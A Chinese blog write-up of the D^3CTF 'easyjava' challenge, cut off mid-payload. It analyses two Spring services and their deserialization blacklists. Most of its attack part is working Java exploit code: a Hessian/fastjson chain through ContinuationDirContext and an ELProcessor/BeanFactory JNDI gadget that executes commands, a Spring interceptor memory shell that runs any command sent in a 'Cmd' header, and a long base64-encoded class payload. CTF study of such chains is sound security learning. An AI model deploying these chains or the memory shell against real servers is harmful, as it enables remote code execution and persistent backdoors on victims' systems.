D^3CTF easyjava

Posted by Azeril on December 3, 2023
从NEEPUCTF润来的

首先看一下server.jar这个包

fastjson 2.0.24
snakeyaml 1.29

看见了一个黑名单,过滤了蛮多东西的

image-20231203202446930

IndexController.class
public class IndexController {
    public static List<String> denyClasses = new ArrayList();
    public static long lastTimestamp = 0;

    @GetMapping({"/status"})
    public Result status() {
        String msg;
        try {
            long currentTimestamp = System.currentTimeMillis();
            msg = String.format("client %s is online", InetAddress.getLocalHost().getHostName());
            if (currentTimestamp - lastTimestamp > AbstractComponentTracker.LINGERING_TIMEOUT) {
                update();//从这里调用update,间隔10秒
                lastTimestamp = System.currentTimeMillis();
            }
        } catch (Exception e) {
            msg = "client is online";
        }
        return Result.of("200", msg);
    }

    public void update() {
        try {                                                    //会获得注册中心 /blacklist/jdk/get路由
            Object msg = ((Result) JSON.parseObject(Request.get("http://registry:8080/blacklist/jdk/get"), (Class<Object>) Result.class)).getMessage();
            //这里不太懂什么意思,JSON解析后面这个像是黑名单而又不是
            if (msg instanceof String) {
                denyClasses = (List) DefaultSerializer.deserialize(Base64.getDecoder().decode((String) msg), denyClasses);
                //这里面进行了反序列化msg,但是经历了黑名单,msg又是通过上面json解析获得,所以后面那个路径肯定有问题???	
            } else if (msg instanceof List) {
                denyClasses = (List) msg;
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

register.jar

springboot 2.6.7
hessian 4.0.4
fastjson 2.0.24

可以发现版本都是比较高的,并且也给出了二个黑名单

image-20231203204634980

MainController

服务端有一个 @GetMapping({“/status”} 路由,

public class MainController {
    @GetMapping({"/"})
    @Operation(description = "hello for all")
    public String hello() {
        return "hello";
    }

    @GetMapping({"/client/status"})
    @Operation(description = "registry will request client '/status' to get client status.")
    public Result clientStatus() {
        try {  //这里会转到服务器的/status路径
            return (Result) JSON.parseObject(Request.get("http://server:8080/status"), (Class<Object>) Result.class);
        } catch (Exception e) {
            return Result.of("500", "client is down");
        }
    }

      

    @GetMapping({"/blacklist/hessian/get"})
    @Operation(description = "get serialized blacklist for registry")
    public Result getHessianBlacklist() { //这里会对hessian进行序列化
        String data;
        try {
            data = DefaultSerializer.serialize(Blacklist.hessianBlackList);
        } catch (Exception e) {
            data = e.getMessage();
        }
        return Result.of("200", data);
    }

    @PostMapping({"/hessian/deserialize"})
    @Operation(description = "deserialize base64Str using hessian")
    //这里的传参可控,但最终也会进行一个hessian黑名单的过滤器
    public Result deserialize(String base64Str) {
        String data;
        String code = "200";
        try {
            HessianSerializer.deserialize(Base64.getDecoder().decode(base64Str));
            data = "deserialize success";
        } catch (Exception e) {
            data = "error: " + e.getMessage();
            code = "500";
        }
        return Result.of(code, data);
    }
}

这道题给我的感觉不像是普通java题目的一个淳朴的绕过黑名单即可,更像是通过某种方式把黑名单搞没。

没办法,根本绕补过去。。。。

重新寻找一个getter———-JNDI#lookup的链子,绕过黑名单

match path=(m1:Method)-[:CALL*..10]->(m2:Method {IS_SINK:true}) where m1.NAME =~ "get.*" and m1.PARAMETER_SIZE=0 and m2.VUL="JNDI" and m2.NAME="lookup"
return path

ContinuationDirContext

师傅们找到了这个方法

javax.util.spi.ContinuationDirContext,注意这个类是私有的只能在本包中被调用

match path=(m1:Method)-[:CALL*..10]->(m2:Method {IS_SINK:true}) where m1.CLASSNAME =~"javax.naming.spi.*"  and m2.VUL="JNDI" and m2.NAME="lookup"
return path

image-20231205183854471

首先在getEnvironment方法中,调用了getTargetContext方法

image-20231205185648462

跟进getTargetContext方法,发现调用了javax.naming.spi.NamingManager#getcontext方法

image-20231205195416575

并且会调用它的getObjectInstance方法

这里需要让refInfo时 Reference的实现类,下面才能满足条件!=null然后进行getObjectFactoryFromReference方法

image-20231205195802346

跟进,它会先调用helper.loadClass(String factoryName)尝试加载本地的工厂类,出错或找不到指定的工厂类后,再调用helper.loadClass(String className, String codebase)尝试加载远程的工厂类

javax.naming.spi.NamingManager

static ObjectFactory getObjectFactoryFromReference(
        Reference ref, String factoryName)
        throws IllegalAccessException,
        InstantiationException,
        MalformedURLException {
        Class<?> clas = null;

        // Try to use current class loader
        try {
             clas = helper.loadClass(factoryName);
        } catch (ClassNotFoundException e) {
            // ignore and continue
            // e.printStackTrace();
        }
        // All other exceptions are passed up.

        // Not in class path; try to use codebase
        String codebase;
        if (clas == null &&
                (codebase = ref.getFactoryClassLocation()) != null) {
            try {
                clas = helper.loadClass(factoryName, codebase);
            } catch (ClassNotFoundException e) {
            }
        }

        return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
    }

没打通卡在了最后的EL表达式那里,其实发现后面类加载啥的和高版本jndi基本一样所以趁机来温习一下

先调试到BeanFactory的链子

首先obj拼接字符会触发对应的tostring方法,这个前面就遇到过了

image-20231205210401926

package com.example.registry.data;

import com.alibaba.fastjson.JSONObject;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import org.apache.naming.ResourceRef;
import org.apache.naming.factory.BeanFactory;

import javax.naming.CannotProceedException;
import javax.naming.StringRefAddr;
import javax.naming.directory.DirContext;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Hashtable;

public class payload {
    public static void main(String[] args) throws Exception {




        //ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
//        resourceRef.add(new StringRefAddr("forceString", "a=eval"));
//        resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\"calc\")"));

        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        //这里就是对ResourceRef对象进行一个赋值,并且factorylocation为null

        resourceRef.add(new StringRefAddr("forceString", "x=eval"));
        resourceRef.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));



        Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext");
        Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
        ccCons.setAccessible(true);

        CannotProceedException cpe = new CannotProceedException();
        setFieldValue(cpe, "cause", null);
        setFieldValue(cpe, "stackTrace", null);

        cpe.setResolvedObj(resourceRef);

        setFieldValue(cpe, "suppressedExceptions", null);
        DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());

        JSONObject jo = new JSONObject();
        jo.put("test", ctx);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output out = new Hessian2Output(baos);
        baos.write(67);
        out.getSerializerFactory().setAllowNonSerializable(true);
        out.writeObject(jo);
        out.flushBuffer();

        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        Hessian2Input input = new Hessian2Input(bais);
        input.readObject();
    }

    public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }
    public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
        try {
            Field field = clazz.getDeclaredField(fieldName);
            if ( field != null )
                field.setAccessible(true);
            else if ( clazz.getSuperclass() != null )
                field = getField(clazz.getSuperclass(), fieldName);

            return field;
        }
        catch ( NoSuchFieldException e ) {
            if ( !clazz.getSuperclass().equals(Object.class) ) {
                return getField(clazz.getSuperclass(), fieldName);
            }
            throw e;
        }
    }
}

为什么需要jdk高版本注入

因为JDK在RMI和LDAP的trustURLCodebase做了限制从默认允许远程加载ObjectFactory变成了不允许RMI是在6u132, 7u122, 8u113版本开始做了限制LDAP是 11.0.1, 8u191, 7u201, 6u211版本开始做了限制
所以修复后的JDK版本无法在不修改trustURLCodebase的情况下通过远程加载ObjectFactory类的方式去执行Java代码

BeanFactory绕过原理

EL和Groovy之所以能打是因为LDAP和RMI在收到服务端反序列化来的Reference对象后根据classFactory属性从本地classpath中实例化一个 ObjectFactory 对象然后调用这个对象的 getObjectInstance 方法

在Tomcat的catalina.jar中有一个org.apache.naming.factory.BeanFactory类这个类会把Reference对象的className属性作为类名去调用无参构造方法实例化一个对象然后再从Reference对象的Addrs参数集合中取得 AddrType  forceString  String 参数

接着根据取到的 forceString 参数按照,逗号分割成多个要执行的方法再按=等于号分割成 propName  param

最后会根据 propName 作为方法名称去反射获取一个参数类型是 String.class的方法并按照 param  Addrs 中取到的 String 对象作为参数去反射调用该方法

而刚好javax.el.ELProcessor#eval和 groovy.lang.GroovyShell#evaluate这两个方法都是可以只传一个String参数就能够执行攻击代码且依赖库比较常见所以被经常使用
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
        true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));

ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/bash','-c','/Applications/Calculator.app/Contents/MacOS/Calculator']).start()\")"));
return ref

依照上面的原理解释,这段代码得到的ResourceRef对象在JNDI客户端处理时,实际上等价于下面这段代码。

new javax.el.ELProcessor().eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/bash','-c','/Applications/Calculator.app/Contents/MacOS/Calculator']).start()\")")

参考文章:https://tttang.com/archive/1405/#toc_druid

eval:54, ELProcessor (javax.el)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
getObjectInstance:211, BeanFactory (org.apache.naming.factory)
getObjectInstance:321, NamingManager (javax.naming.spi)
getContext:439, NamingManager (javax.naming.spi)
getTargetContext:55, ContinuationContext (javax.naming.spi)
getEnvironment:197, ContinuationContext (javax.naming.spi)
apply:-1, 1541049864 (javax.naming.spi.ContinuationDirContext$$Lambda$25)
getFieldValue:36, FieldWriterObjectFunc (com.alibaba.fastjson2.writer)
write:189, FieldWriterObject (com.alibaba.fastjson2.writer)
write:76, ObjectWriter2 (com.alibaba.fastjson2.writer)
write:548, ObjectWriterImplMap (com.alibaba.fastjson2.writer)
toJSONString:2388, JSON (com.alibaba.fastjson2)
toString:1028, JSONObject (com.alibaba.fastjson)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
expect:3757, Hessian2Input (com.caucho.hessian.io)
readString:1979, Hessian2Input (com.caucho.hessian.io)
readObjectDefinition:2960, Hessian2Input (com.caucho.hessian.io)
readObject:2893, Hessian2Input (com.caucho.hessian.io)

最后的疑问

看wp说直接打内存吗,但是这不是Templates的内存马嘛,哪能直接打内存吗?

这道题大概的逻辑就是通过上传了一个内存吗,然后重置黑名单

然后后面加载一个高版本jndi注入,Reference注入

image-20231206225239175

打poc流程

1首先在客户端通过/hessian/deserialize路由打一个 jdni高版本reference注入然后打一个内存吗用来去清空黑名单
2访问    @GetMapping({"/status"})  服务器的这个然后就会跳转到客户端进行读取黑名单这时候我们的内存马已经置空黑名单了所有就可以直接打 templates内存吗注入了
    
打二个内存吗主要是因为服务器客户端时二个容器并且服务端时真正的flag客户端是可以直接打hessian链子的但是客户端的没啥用

接下来就是实践部分

hessian2打jndi高版本 reference注入的链子

package com.example.MemShell;

import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.xml.internal.ws.developer.Serialization;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.naming.ResourceRef;

import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.StringRefAddr;
import javax.naming.directory.DirContext;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Base64;
import java.util.Hashtable;

public class CVE_2021_43297_ForEzjava {
    public static void main(String[] args) throws Exception {



        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(SpringInterceptorEcho.class.getName());
        clazz.setName("Evil");
        String clazz_base64 = Base64.getEncoder().encodeToString(clazz.toBytecode());

        String code = "var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('" + clazz_base64 + "');\n" +
                "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" +
                "var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" +
                "method.setAccessible(true);\n" +
                "var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" +
                "clazz.newInstance();";


        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
        resourceRef.add(new StringRefAddr("forceString", "x=eval"));
        resourceRef.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"" + code + "\")"));






       // ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        //这里就是对ResourceRef对象进行一个赋值,并且factorylocation为null

       // resourceRef.add(new StringRefAddr("forceString", "x=eval"));
        //resourceRef.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));



        Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext");
        Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
        ccCons.setAccessible(true);

        CannotProceedException cpe = new CannotProceedException();
        setFieldValue(cpe, "cause", null);
        setFieldValue(cpe, "stackTrace", null);

        cpe.setResolvedObj(resourceRef);

        setFieldValue(cpe, "suppressedExceptions", null);
        DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());

        JSONObject jo = new JSONObject();
        jo.put("test", ctx);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output out = new Hessian2Output(baos);
        baos.write(67);
        out.getSerializerFactory().setAllowNonSerializable(true);



        out.writeObject(jo);
        out.flushBuffer();

        String a=Base64.getEncoder().encodeToString(baos.toByteArray());
        System.out.println(a);




       // ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
       // Hessian2Input input = new Hessian2Input(bais);
       // input.readObject();
}
    public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }
    public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
        try {
            Field field = clazz.getDeclaredField(fieldName);
            if ( field != null )
                field.setAccessible(true);
            else if ( clazz.getSuperclass() != null )
                field = getField(clazz.getSuperclass(), fieldName);

            return field;
        }
        catch ( NoSuchFieldException e ) {
            if ( !clazz.getSuperclass().equals(Object.class) ) {
                return getField(clazz.getSuperclass(), fieldName);
            }
            throw e;
        }
    }}

SpringInterceptorEcho内存马

package com.example.MemShell;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.context.support.WebApplicationContextUtils;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.reflect.Field;
import java.util.List;

public class SpringInterceptorEcho extends AbstractTranslet implements HandlerInterceptor {
    public SpringInterceptorEcho() throws Exception {
        // 获取 WebApplicationContext
        WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest().getServletContext());

        // 获取 RequestMappingHandlerMapping
        RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

        // 注册 Interceptor
        Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        field.setAccessible(true);
        List<HandlerInterceptor> adaptedInterceptors = (List<HandlerInterceptor>) field.get(requestMappingHandlerMapping);
        adaptedInterceptors.add(new SpringInterceptorEcho(1));

        // 匹配特定路径的 Interceptor
//        MappedInterceptor mappedInterceptor = new MappedInterceptor(new String[]{"/demo"}, null, new SpringInterceptor(1));
    }

    public SpringInterceptorEcho(int n) {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String cmd = request.getHeader("Cmd");
        response.setStatus(200);
        response.setHeader("Content-Type", "text/html");
        if (cmd != null) {
            OutputStream output = response.getOutputStream();
            Process process = Runtime.getRuntime().exec(cmd);
            InputStream input = process.getInputStream();
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            int n;
            byte[] buffer = new byte[1024];
            while ((n = input.read(buffer)) != -1) {
                baos.write(buffer);
            }
            baos.write("\n".getBytes());
            input.close();
            output.write(baos.toByteArray());
            output.flush();
        }
        return true;
    }
}

image-20231207202026018

试试用普通的spring马打一下没通,又打了一下哥斯拉马也没通???不理解了哦

先尝试把题目打通,不得不说boo👨的这个马真tm好用直接访问二次就会出现flag,真神了

image-20231207213856230

public class HessianChain {
    public static void main(String[] args) throws Exception {
        String x = "var str='yv66vgAAADQA8goANQB6CQB7AHwJADEAfQoAfgB/CgCAAIEIAIIKAIAAgwoAhACFBwCGCgAJAIcIAIgKAAkAiQoACQCKCgAJAIsIAIwLAI0AjgoAfgCPCACQCACRCACSCgCTAJQKAAkAlQgAlggAlwsAmACZCwCYAJoKAJsAnAoAmwCdCgCbAJ4LADYAnwsANgCgCAChCgCiAKMIAKQLAKUApgcApwcAqAsAJACpBwCqCACrCgCsAK0HAK4KACoArwoAsACxCgCwALIHALMHALQKAC8ArwcAtQoAMQB6CwAuALYIALcHALgHALkBAARudW1zAQABSQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAXTG9yZy9leGFtcGxlL01lbXNoZWxsMTsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQAEY29kZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABnJlc3VsdAEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdoYW5kbGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQACaW4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAAFzAQATTGphdmEvdXRpbC9TY2FubmVyOwEABm91dHB1dAEADVN0YWNrTWFwVGFibGUHALoHAIYHALsHALUHALwHAL0HALgBAApFeGNlcHRpb25zBwC+AQAQTWV0aG9kUGFyYW1ldGVycwEACnBvc3RIYW5kbGUBAJIoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0O0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L01vZGVsQW5kVmlldzspVgEADG1vZGVsQW5kVmlldwEALkxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L01vZGVsQW5kVmlldzsBAA9hZnRlckNvbXBsZXRpb24BAHkoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvRXhjZXB0aW9uOylWAQACZXgBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAg8Y2xpbml0PgEAAWUBACBMamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBAAdjb250ZXh0AQA3TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0OwEAFW1hcHBpbmdIYW5kbGVyTWFwcGluZwEAVExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nOwEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAEWFkYXB0SW50ZXJjZXB0b3JzAQAQTGphdmEvdXRpbC9MaXN0OwEAD2V2aWxJbnRlcmNlcHRvcgEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBAEZMamF2YS91dGlsL0xpc3Q8TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvSGFuZGxlckludGVyY2VwdG9yOz47BwCnBwCoBwC/BwCuBwCzBwC0AQAKU291cmNlRmlsZQEADk1lbXNoZWxsMS5qYXZhDAA5ADoHAMAMAMEAwgwANwA4BwDDDADEAMUHAMYMAMcAyAEACWNhdCAvZmxhZwwAyQDKBwDLDADMAM0BABFqYXZhL3V0aWwvU2Nhbm5lcgwAOQDOAQACXEEMAM8A0AwA0QDSDADTANQBAAAHALwMANUA1AwAxADWASl7eyJjb2RlIjoiMjAwIiwibWVzc2FnZSI6InJPMEFCWE55QUM1cVlYWmhlQzV0WVc1aFoyVnRaVzUwTGtKaFpFRjBkSEpwWW5WMFpWWmhiSFZsUlhod1JYaGpaWEIwYVc5dTFPZmFxMk10UmtBQ0FBRk1BQU4yWVd4MEFCSk1hbUYyWVM5c1lXNW5MMDlpYW1WamREdDRjZ0FUYW1GMllTNXNZVzVuTGtWNFkyVndkR2x2YnREOUh6NGFPeHpFQWdBQWVISUFFMnBoZG1FdWJHRnVaeTVVYUhKdmQyRmliR1hWeGpVbk9YZTR5d01BQkV3QUJXTmhkWE5sZEFBVlRHcGhkbUV2YkdGdVp5OVVhSEp2ZDJGaWJHVTdUQUFOWkdWMFlXbHNUV1Z6YzJGblpYUUFFa3hxWVhaaEwyeGhibWN2VTNSeWFXNW5PMXNBQ25OMFlXTnJWSEpoWTJWMEFCNWJUR3BoZG1FdmJHRnVaeTlUZEdGamExUnlZV05sUld4bGJXVnVkRHRNQUJSemRYQndjbVZ6YzJWa1JYaGpaWEIwYVc5dWMzUUFFRXhxWVhaaEwzVjBhV3d2VEdsemREdDRjSEVBZmdBSWNIVnlBQjViVEdwaGRtRXViR0Z1Wnk1VGRHRmphMVJ5WVdObFJXeGxiV1Z1ZERzQ1JpbzhQUDBpT1FJQUFIaHdBQUFBQVhOeUFCdHFZWFpoTG14aGJtY3VVM1JoWTJ0VWNtRmpaVVZzWlcxbGJuUmhDY1dhSmpiZGhRSUFCRWtBQ214cGJtVk9kVzFpWlhKTUFBNWtaV05zWVhKcGJtZERiR0Z6YzNFQWZnQUZUQUFJWm1sc1pVNWhiV1Z4QUg0QUJVd0FDbTFsZEdodlpFNWhiV1Z4QUg0QUJYaHdBQUFBSDNRQUhtOXlaeTVsZUdGdGNHeGxMa3B6YjI1VVpXMXdiR0YwWlhORGFHRnBiblFBRjBwemIyNVVaVzF3YkdGMFpYTkRhR0ZwYmk1cVlYWmhkQUFFYldGcGJuTnlBQ1pxWVhaaExuVjBhV3d1UTI5c2JHVmpkR2x2Ym5Na1ZXNXRiMlJwWm1saFlteGxUR2x6ZFB3UEpURzE3STRRQWdBQlRBQUViR2x6ZEhFQWZnQUhlSElBTEdwaGRtRXVkWFJwYkM1RGIyeHNaV04wYVc5dWN5UlZibTF2WkdsbWFXRmliR1ZEYjJ4c1pXTjBhVzl1R1VJQWdNdGU5eDRDQUFGTUFBRmpkQUFXVEdwaGRtRXZkWFJwYkM5RGIyeHNaV04wYVc5dU8zaHdjM0lBRTJwaGRtRXVkWFJwYkM1QmNuSmhlVXhwYzNSNGdkSWRtY2RoblFNQUFVa0FCSE5wZW1WNGNBQUFBQUIzQkFBQUFBQjRjUUIrQUJWNGMzSUFIMk52YlM1aGJHbGlZV0poTG1aaGMzUnFjMjl1TGtwVFQwNVBZbXBsWTNRQUFBQUFBQUFBQVFJQUFVd0FBMjFoY0hRQUQweHFZWFpoTDNWMGFXd3ZUV0Z3TzNod2MzSUFFV3BoZG1FdWRYUnBiQzVJWVhOb1RXRndCUWZhd2NNV1lORURBQUpHQUFwc2IyRmtSbUZqZEc5eVNRQUpkR2h5WlhOb2IyeGtlSEEvUUFBQUFBQUFESGNJQUFBQUVBQUFBQUYwQUFFeGMzSUFPbU52YlM1emRXNHViM0puTG1Gd1lXTm9aUzU0WVd4aGJpNXBiblJsY201aGJDNTRjMngwWXk1MGNtRjRMbFJsYlhCc1lYUmxjMGx0Y0d3SlYwL0JicXlyTXdNQUJra0FEVjlwYm1SbGJuUk9kVzFpWlhKSkFBNWZkSEpoYm5Oc1pYUkpibVJsZUZzQUNsOWllWFJsWTI5a1pYTjBBQU5iVzBKYkFBWmZZMnhoYzNOMEFCSmJUR3BoZG1FdmJHRnVaeTlEYkdGemN6dE1BQVZmYm1GdFpYRUFmZ0FGVEFBUlgyOTFkSEIxZEZCeWIzQmxjblJwWlhOMEFCWk1hbUYyWVM5MWRHbHNMMUJ5YjNCbGNuUnBaWE03ZUhBQUFBQUEvLy8vLzNWeUFBTmJXMEpML1JrVloyZmJOd0lBQUhod0FBQUFBWFZ5QUFKYlFxenpGL2dHQ0ZUZ0FnQUFlSEFBQUJwSHl2NjZ2Z0FBQURRQk1Rb0FQd0NYQ0FDWUNBQ1pDZ0NhQUpzS0FKb0FuQW9BblFDZUNnQ2ZBS0FJQUtFS0FKOEFvZ29Bb3dDa0J3Q2xDZ0FMQUtZSUFLY0tBQXNBcUFvQUN3Q3BDZ0FMQUtvSkFLc0FyQW9BclFDdUJ3Q3ZDZ0FUQUpjSUFMQUtBQk1Bc1FvQXNnQ3pDZ0MwQUxVS0FMWUF0d2dBdUFvQUV3QzVDd0M2QUxzSUFMd0tBTFFBdlFvQUN3QytDQUMvQ0FEQUN3REJBTUlMQU1FQXd3b0F4QURGQ2dERUFNWUtBTVFBeHdrQU93RElDd0JBQU1rTEFFQUF5Z2dBeXdvQXpBRE5DQURPQ3dEUEFOQUhBTkVIQU5JTEFDNEEwd2NBMUFnQTFRb0ExZ0RYQndEWUNnQTBBTmtLQU5vQTJ3b0EyZ0RjQndEZEJ3RGVDZ0E1QU5rSEFOOEtBRHNBbHdzQU9BRGdDQURoQndEaUJ3RGpBUUFFYm5WdGN3RUFBVWtCQUFZOGFXNXBkRDRCQUFNb0tWWUJBQVJEYjJSbEFRQVBUR2x1WlU1MWJXSmxjbFJoWW14bEFRQVNURzlqWVd4V1lYSnBZV0pzWlZSaFlteGxBUUFFZEdocGN3RUFGMHh2Y21jdlpYaGhiWEJzWlM5TlpXMXphR1ZzYkRJN0FRQU1jbVZ3YkdGalpVSnNZVzVyQVFBbUtFeHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk95bE1hbUYyWVM5c1lXNW5MMU4wY21sdVp6c0JBQUZ3QVFBWlRHcGhkbUV2ZFhScGJDOXlaV2RsZUM5UVlYUjBaWEp1T3dFQUFXMEJBQmxNYW1GMllTOTFkR2xzTDNKbFoyVjRMMDFoZEdOb1pYSTdBUUFEYzNSeUFRQVNUR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdBUUFFWkdWemRBRUFEVk4wWVdOclRXRndWR0ZpYkdVSEFPUUJBQkJOWlhSb2IyUlFZWEpoYldWMFpYSnpBUUFKY0hKbFNHRnVaR3hsQVFCa0tFeHFZWFpoZUM5elpYSjJiR1YwTDJoMGRIQXZTSFIwY0ZObGNuWnNaWFJTWlhGMVpYTjBPMHhxWVhaaGVDOXpaWEoyYkdWMEwyaDBkSEF2U0hSMGNGTmxjblpzWlhSU1pYTndiMjV6WlR0TWFtRjJZUzlzWVc1bkwwOWlhbVZqZERzcFdnRUFCbkpsYzNWc2RBRUFCM0psY1hWbGMzUUJBQ2RNYW1GMllYZ3ZjMlZ5ZG14bGRDOW9kSFJ3TDBoMGRIQlRaWEoyYkdWMFVtVnhkV1Z6ZERzQkFBaHlaWE53YjI1elpRRUFLRXhxWVhaaGVDOXpaWEoyYkdWMEwyaDBkSEF2U0hSMGNGTmxjblpzWlhSU1pYTndiMjV6WlRzQkFB